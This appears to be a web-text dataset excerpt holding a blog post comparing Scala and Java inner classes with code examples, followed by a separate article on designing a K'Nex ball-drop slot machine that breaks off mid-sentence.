text
stringlengths
454
608k
url
stringlengths
17
896
dump
stringclasses
91 values
source
stringclasses
1 value
word_count
int64
101
114k
flesch_reading_ease
float64
50
104
In Scala, you can nest just about anything inside anything. You can define functions inside other functions, and classes inside other classes. Here is a simple example of the latter. (I follow this explanation in a hopefully more intuitive context.) import collection.mutable._ class Network { class Member(val name: String) { val contacts = new ArrayBuffer[Member] } private val members = new ArrayBuffer[Member] def join(name: String) = { val m = new Member(name) members += m m } } Of course, you can do the same in Java: import java.util.*; public class Network { public class Member { private String name; private ArrayList<Member> contacts = new ArrayList<>(); public Member(String name) { this.name = name; } public String getName() { return name; } public ArrayList<Member> getContacts() { return contacts; } } private ArrayList<Member> members = new ArrayList<>(); public Member join(String name) { Member m = new Member(name); members.add(m); return m; } } But there is a difference. In Scala, each instance has its own class Member, just like each instance has its own field members. Consider two networks. val chatter = new Network val myFace = new Network Now chatter.Member and myFace.Memberare different classes. In contrast, in Java, there is only one inner class Network.Chatter. The Scala approach is more regular. For example, to make a new inner object, you simply use new with the type name: val fred = new chatter.Member("Fred") In Java, you need to use a special syntax. Member fred = chatter.new Member("Fred"); And in Scala, the compiler can do useful type checking. In our network example, you can add a member within its own network, but not across networks. val fred = chatter.join("Fred") val wilma = chatter.join("Wilma") fred.contacts += wilma // Ok val barney = myFace.join("Barney") // Has type myFace.Memberfred.contacts += barney // No—can't add a myFace.Memberto a buffer of chatter.Memberelements For networks of people, this behavior probably makes sense. If you don't want it, there are two solutions. First, you can move the Member type somewhere else. A good place would be the Network companion object. object Network { class Member(val name: String) { val contacts = new ArrayBuffer[Member] } } class Network { private val members = new ArrayBuffer[Network.Member] ... } Companion objects are used throughout Scala for class-based features, so this is no surprise. Alternatively, you can use a type projection Network#Member, which means “a Member of any Network”. For example, class Network { class Member(val name: String) { val contacts = new ArrayBuffer[Network#Member] } ... } You would do that if you want the fine-grained “inner class per object” feature in some places of your program, but not everywhere. So, which language is more complex, Scala or Java? Except possibly for the Network#Member syntax, I think Scala wins hands-down. It is more regular, and it offers more functionality at the same time. It does that with a handful of basic principles, systematically applied. (Before you flame me, consider that ”less familiar” is not the same as “more complex”.) In contrast, with Java, you can see that inner classes were bolted onto an existing language. Did I mention that Java has restrictions on accessing local outer variables in local inner classes? And “static” inner classes? Don't get me going. It's half a chapter in Core Java. Scala doesn't have any of that.
https://community.oracle.com/blogs/cayhorstmann/2011/08/05/inner-classes-scala-and-java
CC-MAIN-2017-39
refinedweb
546
60.61
Hi~~~ I'm new to the forums (and C++), and hope someone can help me with a very basic program. I apologize if any etiquette has been violated. The following is a very basic money sorting programs that works*, in which a given amount is broken up to its maximum amount of dollars, quarters, etc. (I left out nickels and pennies to shorten this post). Code:/*Money Sorter*/ #include "iostream" #include "cmath" using namespace std; int main() { double amount; cout<<"enter your amount in wallet"<<endl; cin>>amount; int dollars, quarters, dimes, nickels, pennies; dollars=int(amount); //represents amount in full dollars quarters=(int)((amount-dollars)/.25); //leftover quarters cout<<dollars<<" "<<quarters<<endl; dimes=(int)((amount-dollars-quarters*.25) /.1 ); //dimes left cout<<dimes<<endl; system("pause"); return 0; } *So I believe this program is good with one exception. When I typed in $15.20, it gives you 15 dollars, 0 quarters, and 1 dime. I'm not sure why or how I can fix it to be 2. My best guess is that quarter is ultimately a double, which messes up the intent of the italicized portion. To be honest, I'd rather just move on and learn other things, but I thought this was weird enough for me to sign on to the forums and ask for an opinion. Cheers!
http://cboard.cprogramming.com/cplusplus-programming/137943-weird-double-int-question-very-short-code.html
CC-MAIN-2014-52
refinedweb
222
71.65
Introductory C Sharp and .Net Card Set Information Author: iranye ID: 97343 Filename: Introductory C Sharp and .Net Updated: 2015-10-01 18:58:28 Sharp Net Access Modifiers Delegates OOP Folders: Description: C Sharp .Net Access Modifiers and other basic info Show Answers: > Flashcards > Print Preview The flashcards below were created by user iranye on FreezingBlue Flashcards . What would you like to do? Get the free Flashcards app for iOS Get the free Flashcards app for Android Learn more What other C# questions should be here? Look up reserved words and see what isn't covered. In the context of methods, what does virtual, override, and new mean? SEE : virtual keyword modifies a method, property, indexer, or event declaration allowing it to be overridden in a derived class. override modifier is required to extend or modify the abstract or virtual implementation of an inherited method, property, indexer, or event. new keyword explicitly hides a member that is inherited from a base class. What's the difference between String and Stringbuilder? String is immutable, which means that when you create a string you can never change it, rather it will create a new string to store the new value. Stringbuilder can be used to simulate a mutable string so is good for when you need to change a string a lot. What is the difference between ref and out usage in method parameters? For the caller: For a ref parameter, the variable has to be definitely assigned already For an out parameter, the variable doesn't have to be definitely assigned, but will be after the method returns For the method: A ref parameter starts off definitely assigned, and you don't have to assign any value to it An out parameter doesn't start off definitely assigned, and you have to make sure that any time you return (without an exception) it will be definitely assigned What are the main principles of Object Oriented Programming (up to four)? Encapsulation Polymorphism Inheritence Data Abstraction What is encapsulation? The hiding of data implementation by restricting access to accessors andmutators. What is polymorphism? The ability (in programming) to present the same interface for differing underlying data types. What is inheritance? It's where objects take on features of existing objects. Typically, one class is the base class that one or more sub-classes inherit from. What is data abstraction? The development of classes, objects, and types in terms of their interfaces and functionality, instead of their implementation details. What is a library? A collection of classes What is a class? A class is a type definition of an Object Oriented Programming object What is the form for String.Format to force at least two digits in various parts of a date string? String.Format("{0}-{1:00}-{2:00}" , DateTime.Now.Year ,DateTime.Now.Month ,DateTime.Now.Day So Jan 06, 2012 gets represented as "2012-01-06" What is the form for String.Format to force a minimum of 5 zeros left of the decimal, and four to the right? Console.WriteLine("{0:00000.0000}", 17); [C# 4.0 in a Nutshell, pg 21] What is decimal type primarily used for? financial calculations [C# 4.0 in a Nutshell, pg 36] How are the Stack and Heap different? The Stack is a block of memory for storing local variables and parameters, growing/shrinking as functions are called or return. The heap is a block of memory where reference-type instances are stored. Objects on the heap are garbage-collected whereas stack memory is not. Static fields and constants are stored on the heap, but don't get garbage-collected until the app domain is torn down. [C# 4.0 in a Nutshell, pg 38] How would you initialize a bool variable to its default value? bool b = default(bool); What access level does the internal qualifer provide? Types or members are accessible only within files in the same assembly. What access level does the protected qualifer provide? Access is limited to the containing class or types derived from the containing class. [C# 4.0 in a Nutshell, pg 82] What does the sealed qualifier do in the following example? public sealed override int SubclassMethod() {...} Disallows futher overriding of the method by subclasses of the class it's defined in. [C# 4.0 in a Nutshell, pg 87] What is the difference between the GetType() function and typeof? GetType is evaluated at runtime, typeof at compile time. [C# 4.0 in a Nutshell, pg 89, 92] True or False, as with a class, a struct can: A) have a parameterless constructor B) use field initializers (i.e. before the constructor) C) have a constructor that does not initialize all fields D) implement interfaces E) inherit from a class A, B, C are False, D and E are True [C# 4.0 in a Nutshell, pg 94] What is the default protection level of an implementation of an interface member (by a subclass)? sealed [C# 4.0 in a Nutshell, pg 95] What is one way around the default protection level of an implementation of an interface member? Use a type of method overloading public class MyClass : IDisposable { void IDisposable.Dispose() { Dispose(); } protected virtual void Dispose() { ... } } [C# 4.0 in a Nutshell, pg 98] In the implementation of the Flags enum: [Flags] public enum Sides { Left = 1, Right = 2, Top = 4, Bottom = 8 } What is the output of Console.WriteLine( BorderSides.Left | BorderSides.Right);? Left, Right What is the default protection level for both C# class and structs? They also have the same default protection level for their fields. What is it? both class and struct are internal by default (private if they're nested), and their member fields are private by default. What is the root namespace for C# .Net? There is no "root" namespace. There could be any number of namespaces in a given assembly, and nothing requires them to all start from a common root. [C# In Depth ed 1, page 33] What is a delegate? A delegate type is a single-method interface A delegate instance is an object implementing that interface [From Stackoverflow] A type-safe function pointer What would you like to do? Get the free Flashcards app for iOS Get the free Flashcards app for Android Learn more > Flashcards > Print Preview
https://www.freezingblue.com/flashcards/print_preview.cgi?cardsetID=97343
CC-MAIN-2017-04
refinedweb
1,055
64.81
#include <WaveletNoise.hpp> Wavelet Noise is a coherent gradient noise generation algorithm developed by Pixar. Compared to Perlin and Simplex noise it suffers less from aliasing and detail loss, especially at extreme angles. Whereas with Perlin and Simplex noise, the generated output could be customized by setting octave/scale/persistence, with Wavelet noise one can set the weight values of the individual bands of noise and a scaling factor. Robert L. Cook & Tony DeRose, Pixar Animation Studios: Wavelet Noise 1D slice of unprojected 3D Wavelet Noise. Reimplemented from Ocular::Math::Noise::ANoise. 2D slice of unprojected 3D Wavelet Noise. Reimplemented from Ocular::Math::Noise::ANoise. Unprojected 3D Wavelet Noise. Reimplemented from Ocular::Math::Noise::ANoise. 3D Wavelet Noise projected onto a 2D surface. Sets the band weights for multibanded Wavelet Noise. Pass in a vector with length 0 to get the raw Wavelet Noise. Sets the scaling factor of the noise.
http://ocularengine.com/docs/api/class_ocular_1_1_math_1_1_noise_1_1_wavelet_noise.html
CC-MAIN-2018-39
refinedweb
151
52.15
Hi I have a little problem when I am using "HOLLOW_BRUSH" as a background (?) I create a editbox and sets the readonly-flag, but the background goes grey and I want it white. To prevent that I use this in WM_CTLCOLORSTATIC: Its working fine, but now I want to make the editbox background transparent, to do that I use this:Its working fine, but now I want to make the editbox background transparent, to do that I use this:Code:case IDC_INFOBOX: { HDC hdc = (HDC)wParam; SetBkColor(hdc, 0xFFFFFF); SetTextColor(hdc, 0); return (LRESULT)GetStockObject(WHITE_BRUSH); } I don’t know if it´s the right way to do it, but it works, almost =P.I don’t know if it´s the right way to do it, but it works, almost =P.Code:case IDC_INFOBOX: { HDC hdc = (HDC)wParam; //SetBkColor(hdc, 0xFFFFFF); SetTextColor(hdc, 0); SetBkMode(hdc, TRANSPARENT); return (LRESULT)GetStockObject(HOLLOW_BRUSH); } The transparent background is there, but if I mark some text, the marking stays in the background. Picture link: LINK! Is there some way to prevent that? Or maybe to prevent marking overall in the textbox? If I minimize and maximize the window the editbox is normal again, why? Can I use the same principle? I want the transparent background because I want to display a bitmap behind, it´s working fine as long I don’t mark the text =P Edit: Is it possible to make the blue "select-color" transparent? I have tried to find some way to do that on msdn, but I am bad searcher...
http://cboard.cprogramming.com/windows-programming/107086-transparent-editbox-hollow_brush-marking-text.html
CC-MAIN-2016-07
refinedweb
261
59.94
Components and supplies Necessary tools and machines About this project This project is a practical robotic arm that is stable, consistent and easy to use without motor shield or sensor shield. It has a low cost and a large area of use. It can be used easily with basic practice. Code Robotic_arm_code_screenArduino #include <Servo.h> Servo motor1; Servo motor2; Servo motor3; Servo motor4; int value; int degree; void setup() { motor1.attach(3); motor2.attach(5); motor3.attach(6); motor4.attach(10); } void loop() { value = analogRead(A0); degree = map(value, 0,1023,0,180); motor1.write(degree); value = analogRead(A1); degree = map(value, 0,1023,80,150); // With this part, the angle value of the servo motor must be different from the standard 0-180 since the gripper might touch the ground and unbalance the robotic arm. That's why I limited the angle as 80-150 degrees. motor2.write(degree); value = analogRead(A2); degree = map(value, 0,1023,0,180); motor3.write(degree); value = analogRead(A4); degree = map(value, 0,1023,0,180); motor4.write(degree); } Custom parts and enclosures Schematics Author safak cakir - 1 project - 0 followers Published onJuly 27, 2020 Members who respect this project you might like
https://create.arduino.cc/projecthub/150218091fsc/practical-robotic-grip-arm-ea9e57
CC-MAIN-2020-34
refinedweb
200
56.76
nclosure-d Based on nclosure server-side Google Closure with Node.js Want to see pretty graphs? Log in now!Want to see pretty graphs? Log in now! npm install nclosure-d nclosure: Server Side Google Closure Tools in Node.js Введение Первоначально проект был форкнут из репы для добавления совместимости с Windows и nodejs 0.6.*, заодно выполнить главную задачу - научиться nodejs на примере. Но покопавшись и переписав часть было решено переделать, т.к. оставлять как есть было совсем не интересно. В настоящий момент код не работоспособен и тем более не документираван. Так же было решено отказаться временно либо полностью от некоторых возможностей родительского проекта: - Node wrapper - Unit testing Возможно этот список будет обновляться. Пока хочется просто, чтобы работало. Overview: - Enhanced Modularisation (Both logically and physically) - Better Encapsulation - Type Safety - Interfaces and Mixins - Rich Source Documentation - A Huge Library of Production Ready Utilities, including: Installation (core) Install nclosure. By: npm install nclosure Or better yet, by getting the source: git clone git://github.com/gatapia/nclosure.git cd nclosure npm link Closure Library For full details on utilities provided in the closure library refer to the official docs. To use any utility provided in the closure library just: Include nclosurein your application by require(ing) it and initialising it. require('nclosure').nclosure(); // nclosure() initialises the framework goog.requireany namespace from the Closure library. goog.require('goog.structs.Trie'); That's it, use the imported namespaces anywhere in your file. var trie = new goog.structs.Trie(); Closure Compiler Using the Closure Compiler requires a small investment in learning but once you have worked your way through the docs you can take advantage of the compiler's support for: - Enhanced Code Documentation - Type Safety - Encapsulation - Modularisation - Enhanced Inheritance and Interfaces - Scalability Once your source code is annotated and ready for compilation just run the following command: nccompile source.js The nccompile command accepts various arguments: - -c: Create [C]ompile file - Produces a compiled .min.js file. Running your code using the compiled js file optimises your code and reduces the number of imports your system does hence improving start up time. - -d: Create [D]ependencies- Creates a deps.js file that can be used as an additionalDeps in an external project. JSDoc Documentation. Closure Testing/']; Closure Linter> Node Wrappers('.')); Advanced Configuration. More Help. Known Limitations.
https://www.npmjs.org/package/nclosure-d
CC-MAIN-2014-15
refinedweb
384
58.18
Re: [PBML] basic questoin Expand Messages - On Oct 27, nt557 said: > What this code do ?There's still no $tag. ;) When a variable name has a "::" in it, > > $tag::entry = 0; > > there was NO $tag before inthis code, this is the first usage. everything before the LAST "::" is the variable's package -- the namespace it resides in. $CGI::POST_MAX is the $POST_MAX variable in the CGI namespace, and $Data::Dumper::Indent is the $Indent variable in the Data::Dumper namespace. > what does this mean ?That's a special case of the package::variable syntax; it means $group in > > $::group = 2; the main namespace. It's the same as $main::group. See perldoc perldata for more details. --.
https://groups.yahoo.com/neo/groups/perl-beginner/conversations/topics/22113?o=1&d=-1
CC-MAIN-2016-07
refinedweb
116
84.98
In the last four days I’ve walked through the bubble search example in ECMAScript 6 with all the latest stuff. The only thing I left out was testing, which takes a considerable setup right now. I started wondering two things: - Could I write the Javascript Class in pure ECMAScript 6 with no jQuery? - Could I load that class into my HTML file without needing transpiling? Starting with my empty ASP.NET project that handles just web files, I started again. This time – all my work was in wwwroot. Getting rid of jQuery There are a number of things I do using jQuery and I needed to handle all of them. Here is a big long list: $.extend I need to compose a new object based on defaults and the object that is passed in by the user – this allows the user to over-ride options that I have set. Right now I use $.extend like this: this.options = $.extend({ searchId: MySearchBox.generateGUID(), bubbleClass: "bubble" }, pOptions || {}); In ECMAScript 6 I can use the Object.assign() method, so this becomes: this.options = Object.assign({ searchId: MySearchBox.generateGUID(), bubbleClass: "bubble" }, pOptions); This is pretty much a straight swap-out of the jQuery version. This requires the Babel polyfill to be included – you can just include it in the script section of your HTML page so it doesn’t pollute your code. DOM Creation I need to create DOM elements – most notably the div and associated contents for the search bubble. This can be achieved using standard Javascript elements. First, the old: let divElement = $(`<div id="${options.searchId}" class="${options.bubbleClass}"></div>`) .html("<div class='search'><input type='search' name='serch' placeholder='Search'></div>") .appendTo("body") Out with the old and in with the new: let body = document.querySelector("body"); let divElement = document.createElement("div"); divElement.id = options.searchId; divElement.className = options.bubbleClass; divElement.innerHTML = "<div class='search'><input type='search' name='serch' placeholder='Search'></div>"; body.appendChild(divElement); This is a little more intense than the old version but has the advantage of being easily abstracted into a function. Adding CSS Styling Most of the CSS is handled by the style sheet, but positioning is handled dynamically. In the old version, I did this: divElement.css({ "display": "block", "position": "absolute", "left": left + "px", "top": top + "px", "width": width + "px" }); Without jQuery this becomes: divElement.style.display = "block"; divElement.style.position = "absolute"; divElement.style.left = left + "px"; divElement.style.top = top + "px"; divElement.style.width = width + "px"; I could abstract this to a style merge function using Object.assign but this is infrequent enough that I can just inline it. element.position() and element.height() I use element.position() to get the top and left element positions and element.height() to get the height, used in calculating the best place to put the div element. These can be easily replaced like this: let left = el.offsetLeft; let top = el.offsetTop; let width = el.offsetWidth; let height = el.offsetHeight; Removing an element I can remove an element easily enough: el.parentNode.removeChild(el); Handling events I have a click event that I need to register on the element I am passed. This can be handled easily enough using standard addEventListener code. I can also wire up the object appropriately using bind() providing I don’t want to remove the handler. For example: pElement.addEventListener("click", this.onClick.bind(this), false); In short – everything is “doable” so let’s take a look at the new class: /** * Represents a Bubble-style Search Box */ export class SearchBox { /** * Construct a new Bubble-style Search Box and attach it to the click event of the * given element * * @constructor * @param {HTMLElement} pElement - The element to attach to * @param {Object} pOptions - List of options to override */ constructor(pElement, pOptions = {}) { this.element = pElement; this.options = Object.assign({ cssClass: "bubble", maxWidth: 350 }, pOptions); this.searchel = null; this.element.style.cursor = "pointer"; this.element.addEventListener("click", this.onClick.bind(this), false); } /** * Handle the onClick Event for the element that this search box is attached to */ onClick() { if (this.searchel != null) { // Search Box is available so we need to delete it this.searchel.parentElement.removeChild(this.searchel); this.searchel = null; } else { // Search Box is not currently available, so create it // First, calculate the position and size of the box let left = this.el.offsetLeft - 22; let top = this.el.offsetTop + this.el.offsetHeight + 12; let bodyRect = document.body.getBoundingClientRect(); let width = ((left + this.options.maxWidth) < bodyRect.width) ? this.options.maxWidth : bodyRect.width - left; // Now create the search box element in the DOM this.searchel = document.createElement("div"); this.searchel.id = this.generateGUID(); this.searchel.className = this.options.cssClass; this.searchel.style.position = "absolute"; this.searchel.style.left = left + "px"; this.searchel.style.top = top + "px"; this.searchel.style.width = width + "px"; this.searchel.innerHTML = "<div class='search'><input type='search' name='serch' placeholder='Search'></div>"; // Attach the search box element to the BODY element of the DOM document.body.appendChild(this.searchel); // Set focus to the search box this.searchel.querySelector("input[type=search]").focus(); } } /** * Generate a Unique ID for the search box * * @returns {string} The Unique ID */ generateGUID() { let d = new Date().getTime(); return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { let r = (d + Math.random() * 16) % 16 | 0; d = Math.floor(d / 16); return (c === "x" ? r : (r & 0x3 | 0x8)).toString(16); }); } /** * Public function to get the searchBox element. Note that this will be null * if the search box is not shown right now * * @return {HTMLElement} The search box element */ get searchBox() { return this.searchel; } /** * Public function to get the element we are attached to * * @return {HTMLElement} The element this object is attached to */ get el() { return this.element; } } I have also created a wwwroot/js/app.js file that looks like this: import { SearchBox } from "./classes/SearchBox"; function appBootStrap() { new SearchBox(document.querySelector("#nav-search")); } if (document.readyState !== "loading") { appBootStrap(); } else { document.addEventListener("DOMContentLoaded", appBootStrap); } The next step is loading everything up. For this, I need my HTML file: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Test Page</title> <link rel="stylesheet" href="./css/site.css"> </head> <body> <header> <nav> <ul> <li id="nav-search">Search</li> </ul> </nav> </header> <script src="lib/traceur/js/traceur.js"></script> <script src="lib/es6-module-loader/js/es6-module-loader.js"></script> <script>System.import('js/app');</script> </body> </html> I’ll leave it as an exercise to get traceur and es6-module-loader in the right place. Traceur is “the other transpiler” and the es6-module-loader library likes it better. The ES6 Module Loader loads ES6 formatted modules. Between the two of them we should be able to load ES6 files in the browser just like we would do with ES5. Getting these files in the right place is relatively simple given what I’ve shown about gulp and npm recently. Now it’s just a case of bringing in the styling from the old project and my page is complete. I did have to copy SearchBox.less into the src/less directory (along with the search-32.png) and alter the Gulpfile.js accordingly. I’ve uploaded this code to my GitHub Repository for you to review. Note that it is the complete code, so check out the other articles in the series that cover everything. At this point, this code is not a viable solution for production code. Transpiling on the fly does not lead to good performance in the browser. However what I have proved here is that jQuery is no longer the necessity it once was, at least for components like this. Also, you can run ES6 code in the browser. My other requirement for web components is embedded style sheets. This version still compiles the style sheets together which breaks my nice clean code separation that I am looking for. So I’m still looking for the perfect component technology.
https://shellmonger.com/2015/03/21/a-pure-ecmascript-6-search-box-class/
CC-MAIN-2017-51
refinedweb
1,318
60.61
Hey, I was wondering is there a way using C# to check wether a new window pops up ? Basically what i want to achieve is something like controlling an LCD ( which i already know how to do). Its just so that when im playing games or whatsoever that is in fullscreen mode ill get a flash on the lcd when a new window pops up.... Any kind of eventlistener or something for this ? ------- OS: Windows XP Compiler: Microsoft Visual Studio .NET 2003 ------- Thanks in advance, Ganglylamb, :edit: nevermind i already figured out how to get information on some of the running processes , with a bit of messing around ill be able to make my own event handler for this thing. for those that care was what i needed, since i want to be able to display the name of the person who contacts me trough msn on the LCD when in a fullscreen application.was what i needed, since i want to be able to display the name of the person who contacts me trough msn on the LCD when in a fullscreen application.Code: using System.Diagnostics; Process[] pro; pro = Process.GetProcessesByName("msnmsgr");
http://cboard.cprogramming.com/csharp-programming/67322-checking-new-tasks-running-printable-thread.html
CC-MAIN-2014-52
refinedweb
194
69.21
Opened 5 years ago Closed 5 years ago Last modified 4 years ago #13967 closed (fixed) GeoDjango always creates SPATIAL INDEXES when using MySQL Description If you are using MySQL, with the following model, GeoDjango will always create a spatial index for the point field: from django.contrib.gis.db import models class Places(models.Model): point = models.PointField(spatial_index=False) This is because MySQLCreation.sql_indexes_for_field() does not check if it should do the work, unlike the other backends. Included is a patch. Attachments (1) Change History (5) Changed 5 years ago by sfllaw comment:1 Changed 5 years ago by jbronn - milestone set to 1.3 - Needs documentation unset - Needs tests unset - Owner changed from nobody to jbronn - Patch needs improvement unset - Status changed from new to assigned comment:2 Changed 5 years ago by jbronn - Resolution set to fixed - Status changed from assigned to closed comment:3 Changed 5 years ago by jbronn comment:4 Changed 4 years ago by jacob - milestone 1.3 deleted Milestone 1.3 deleted Note: See TracTickets for help on using tickets. (In [13443]) Fixed #13967 -- MySQL spatial backend now respects when spatial_index=False. Thanks, Simon Law, for bug report and patch.
https://code.djangoproject.com/ticket/13967
CC-MAIN-2015-35
refinedweb
199
64.51
OpenCV tutorial—train your custom cascade/classifier/detector . If you want to have a higher accuracy of your object detection model you’ve come to the right place! This tutorial is a step-by-step instruction on how to train your own cascade for object detection. Let’s start! Note: here is the official tutorial on training a custom cascade for advanced users that already have some background in CV and python Steps After installation, you will have below files: 2. Create a python project and install OpenCV in python (link to the library) - The easiest option is to install OpenCV from pip by running a below command: pip install opencv-python - create folders in your python project for: data (for your trained classifier), neg (for image that does not contain objects of interest), pos (for images that contain objects of interest), src (for python modules) and val (for validation images). It should have structure like the example below: 3. Copy OpenCV executable files to your python project (location the same as on previous step) The files should be located where you extracted OpenCV in the first step: \opencv\build\x64\vc15\bin 4. Get data - Or you can generate a data using a simple python script (check appendix 1) I decided to generate my own dataset of geometric figures where OpenCV will be trained to detect triangles. It looks like this: - Put data to pos and neg folders 5. Prepare needed files for training - create info.dat file which should contain a path to positives images and location of an object in the format: folder/image_name.jpg n x y width height where: n — number of objects on the image x — x coordinate of the object on the image y — y coordinate of the object on the image width — width of the object height — height of the object Note: all points are given in pixels pos/img1.jpg 1 5 105 80 90 # one object on the image pos/img2.jpg 2 5 105 80 90 105 5 80 90 # two objects on the image ... pos/img1000.jpg 1 5 105 80 90 Note: coordinates should be given as on left-upper corner of the object where the origin (0,0) is the left-upper corner of the image. - create bg.txt file where you have a path and list of negative images like: neg/img1.jpg neg/img2.jpg neg/img3.jpg… neg/img1000.jpg Just before training your folder should look like below: - open a shell in your project folder (I used PowerShell in windows) and run opencv_createsamples. This will transform positive images into OpenCV consumable format. .\opencv_createsamples -info info.dat -num 1000 -w 200 -h 200 -vec triangles.vecwhere parameters: -info: the info.dat file you created in the previous step -num 1000: how many positive objects you have -w: width of the images (in pixels) -h: height of the images (in pixels) -vec: output file used for training Note: if you work on other operating system you may not need “.\” at the beginning of the command - check if all objects are labelled correctly by: .\opencv_createsamples -vec triangles.vec -w 200 -h 200 Note: this should pop up a window with your objects - finally you can start training of your cascade by running: .\opencv_traincascade -data data -vec traingles.vec -bg bg.txt -numPos 1000 -numNeg 1000 -numStages 5 -w 200 -h 200 -featureType LBP Note: -numStages is the number of iteration (the more, the longer model will spent on training). More details here. Quick help if you encountered below issue: NEG count : acceptanceRatio 0 : 0 Required leaf false alarm rate achieved. Branch training terminated. possible solutions: - clear data folder in your project. I run a test on a very small dataset and OpenCV couldn’t train on a small training sample. - make sure you have plenty of different kind of images. OpenCV requires to have a wide distribution of images. - have a lot of images for training. 10 positive and 10 negative samples wouldn’t be enough :) Time for testing our cascade This is a simple python script just for testing the cascade on one image: import cv2img = cv2.imread(r'path/to/validation/image') gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) _tracker = cv2.CascadeClassifier(r'path\to\data\cascade.xml') objects = _tracker.detectMultiScale(gray_img) for (x, y, w, h) in objects: cv2.rectangle(img, (x, y), (x + w, y + h), (0, 0, 255), 2) cv2.putText(img, 'cascade', (x, y - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2) cv2.imwrite(r'path\to\save\example_.jpg', img) Hope it all works for you :) Appendix 1: Python script for generating more images for training. # below generates just a text that you can insert into bg.txt for x in range(1000): print('neg/img'+str(x)+'.jpg') # below is the random copying of images for negatives. You need to generate a sample of 40 images of 200x200 pixels on your own (in paint:) ) from shutil import copyfile import random for x in range(40, 200): n = random.randint(1, 40) copyfile(r'path\to\your\images' + str(n) + '.jpg', r'path\to\save'+str(x)+'.jpg')
https://maciejzalwert.medium.com/opencv-tutorial-train-your-custom-classifier-e6f12b274296?responsesOpen=true&source=---------2----------------------------
CC-MAIN-2021-25
refinedweb
860
64.41
Introduction This machine has been built almost entirely from the construction toy K'Nex. The only non-K'Nex components are the column labels and the signs. None of the K'Nex pieces has been modified in any way. This Instructable covers various issues concerning the design and build rather than being a step-by-step guide on how to build it. If anyone wants to build something similar, or wants further information, further details can be given as required. The machine was designed and built over a seven-week period, the time spent being around 200 hours altogether - this includes the insertion of thousands of balls for trials. Type of Machine It was decided to make a 'slot' machine which worked with K'Nex balls which would bounce down a grid and end in one of many columns at the bottom, some of which would pay out balls as a win. Style of Machine The machine's height would be dictated by the height of the grid, the height needed for winning balls to be released, and how high off the floor the pay-out tray should be for it to be easily accessible. There was to be a ball slot at the top of the machine, but for the vertically challenged there would be a motorised ball lift which would raise the balls to top - this would use the traditional method of a 12v motor and a chain. The number of columns needed to be high enough to make the game interesting, but not so high that the left- and right-hand ones were virtually never visited. It was felt that there needed to be some kind of jackpot feature. The size of the jackpot couldn't be too high because of the difficulty of handling so many balls. It was felt that a 1/100 to 1/50 chance of a jackpot which paid 10 balls or so would be about the right balance - this would correspond to 10% to 20% of the overall return (actually a bit less, because sometimes the reserve would not be full). For every 100 balls inserted it was intended that, on average, around 80 would be returned, and that the chance of a win would be around 25%. Colour Scheme It was decided to use as much white, yellow, orange and red as possible, with black 16mm rods used instead of green ones where they were visible (but they aren't really 16mm, they're 17½mm, aren't they?). Prototype The starting point was to construct a grid with about a dozen exit points (columns) at the bottom so that the distribution of where the balls landed could be produced. This would help decide the final number of columns. The diameter of K'Nex balls is 46mm. The grid was to consist of two arrays of white connectors (joined by white rods) separated by transverse yellow rods on which the balls would bounce. This way, the closest distance between two yellow rods was 53mm - a wide enough gap for a ball to pass through. The ninth image shows the construction. The first grid had 12 columns and a thousand balls were dropped into the top of it. The distribution was surprising - it was, as expected, a bell-shaped curve, but it was rather flat. This was good news, because it meant that a good proportion of the balls landed in or near the end columns. In fact, so many landed in the end columns that it was decided to increase the grid to 16 columns. The Distribution Things were getting interesting now: more balls than expected were heading towards the left-hand column, and also towards the right-hand one. Generally, it was as though once a ball had started falling it wanted to continue in a straight line rather than continually change direction. There was no reason to believe that a ball would have a 50-50 chance of going in each direction after it had hit a rod (that would depending of the relationship between the yellow rod spacings and the diameter of the ball), but even so the behaviour was strange. Moreover, at times a ball would suddenly shoot in a straight line at speed for no apparent reason; at other times the ball appeared to have a think when it hit each rod as though it was deciding what to do. A computer simulation was run which assumed that, when the ball was going in a certain direction, it would be slightly more likely to continue in that direction than change, but whatever the chance specified, that flat bell-shaped curve could not be reproduced. Exactly what causes this behaviour has not yet been discovered (any ideas are welcome), but the good news is that the first and last columns were visited just enough to make the game interesting. The Grid It was very important to ensure that there was no bias when a ball entered the grid, and so the ball enters either from behind (if the ball lift was used) or from the front (if inserted manually) rather than from one side. In the original prototype, black rotational connectors were fixed to the internal ends of the transverse yellow rods so that a ball would roll off these instead of occasionally ending up lying on top of a rod. This worked fine most of the time, but about one ball in a thousand ended up with one of its holes stuck on one of these connectors. This was fixed by using tan clips instead, there being no bit which could jam in a hole. The 11th image shows some of these in place. An indication of the column a ball entered was required so that, if the player wasn't looking at the time, it would be possible to see what column the ball landed in. This was achieved by a carefully-balanced lever which swings when a ball enters the column. The column label (which shows the amount of a win) was actually produced using a badge-making machine! The Win Sizes It was decided that Column 1 - on the far left - would trigger the large win (it ended up as 13 balls). Since Column 1 was paying a high win, it was decided that Column 16 would too, but only 5 balls otherwise the number of small and large wins would be out of balance. Using the sampled distributions, it was decided that Columns 2 and 15 would pay three balls, and Columns 3, 4, 13 and 14 would pay two balls. Further trials took place (3,000 balls were inserted), but the average return was only around 67%. Including extra winning columns would make the return too high, and there was something pleasing about the wins of 2 being a consolation prize, and the wins of three more so - the sequence of 2 2 3 5 felt much better than 2 3 3 5 or 2 2 5 5. The final pay-out averages 84%. This was achieved by simply adding two extra yellow rods near the top of the grid which added about 8% (see the ninth image), and one rod near the bottom right which added another 9% or so (see the tenth image). The chance of a win for this final version of the grid is about 0.28, resulting in a generally steady flow of wins, not many long losing streaks, and the occasional cascade of 13 balls into the pay-out tray. It is quite possible to insert 25 balls and get 30 or 40 back, but quite possible too to only get 10 or so. The balance is about right for an amusement machine. The Pay-out Reserves There are three main pay-out reserves - one for a two-ball win, one for three balls, and one for five. The number of balls paid out from the reserve is one less than the win, the winning ball being returned. There is also a Bonanza reserve which is emptied when a ball enters Column 1, and again the winning ball is returned. On the rare occasion that two Bonanza wins happen one after the other, only one ball (the winning ball) will be paid out the second time. The reserves are topped up by losing balls. Since wins of 2 are the most common, that reserve gets topped up first. When that is full, the ball attempts to top up the 5-win reserve, and if that is full, the 3-win one. If all three reserves are full, the ball tops up the Bonanza reserve, and if that too is full, the losing ball experiences a staggered fall into the 'cash-box' underneath the machine (the fall is staggered so that the ball doesn't split into its component halves through shock). The Pay-out Mechanism This needed some thought: how could a ball weighing only 24g 